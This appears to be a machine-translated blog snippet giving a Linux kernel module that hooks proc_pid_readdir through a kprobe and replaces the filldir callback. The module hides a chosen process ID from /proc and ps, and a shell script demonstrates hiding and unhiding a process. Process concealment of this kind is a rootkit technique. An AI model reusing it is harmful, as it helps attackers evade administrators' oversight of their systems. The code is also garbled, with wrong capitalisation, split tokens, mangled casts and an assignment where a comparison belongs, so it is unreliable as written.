This is a big job in our operating system.
The principle is to hook the proc file system, the readdir function under the root directory.
Replace the third parameter filldir.
CodeBurst short, 60 lines.
Ubuntu 10.04 is available for testing.
# Include <Linux/kernel. h>
# Include <Linux/kprobes. h>
# Include <Linux/module. h>
# Include <Linux/moduleparam. h>
# Include <Linux/fs. h>
Int Register_kprobe ( Struct Kprobe * KP );
Static Struct Kprobe Kp ={
. Symbol_name = "proc_pid_readdir ",
} ;
Static Filldir_t old_filldir;
Static Int PID;
Module_param (PID, Int , 0744 );
Static Int Filldir ( Void * _ Buf,Const Char * Name, Int Namlen, loff_t offset,
U64 Ino, unsigned Int D_type)
{
IntP;
Sscanf (name, "% d", & P );
If(P = PID)
Return0;
ReturnOld_filldir (_ Buf, name, namlen, offset, Ino, d_type );
}
/*Kprobe pre_handler: called just before the probed instruction is executed*/
Static Int Handler_pre ( Struct Kprobe * PR, Struct Pt_regs * regs)
{
Old_filldir = (filldir_t) regs-> CX;
Regs-> Cx = (Typeof(Regs-> CX) filldir;
Return0;
}
Static Int _ Init k_init (Void )
{
IntRET;
KP. pre_handler = handler_pre;
Ret = register_kprobe (& KP );
If(Ret <0){
Printk (kern_info "register_kprobe failed, returned % d \ n", RET );
ReturnRET;
}
Printk (kern_info "planted kprobe at % P; PID % d \ n", KP. ADDR, pid );
Return0;
}
Static Void _ Exit k_exit ( Void )
{
Unregister_kprobe (& KP );
Printk (kern_info "kprobe at % P unregistered \ n", KP. ADDR );
}
Module_init (k_init );
Module_exit (k_exit );
Module_license ("GPL ");
sleep 1000 &
pid = 'jobs-p'
echo 'before hide '
PS aux | grep $ PID
insmod K. ko pid = $ PID
echo 'after hide '
PS aux | grep $ PID
rmmod K. ko
echo 'after unhide '
PS aux | grep $ PID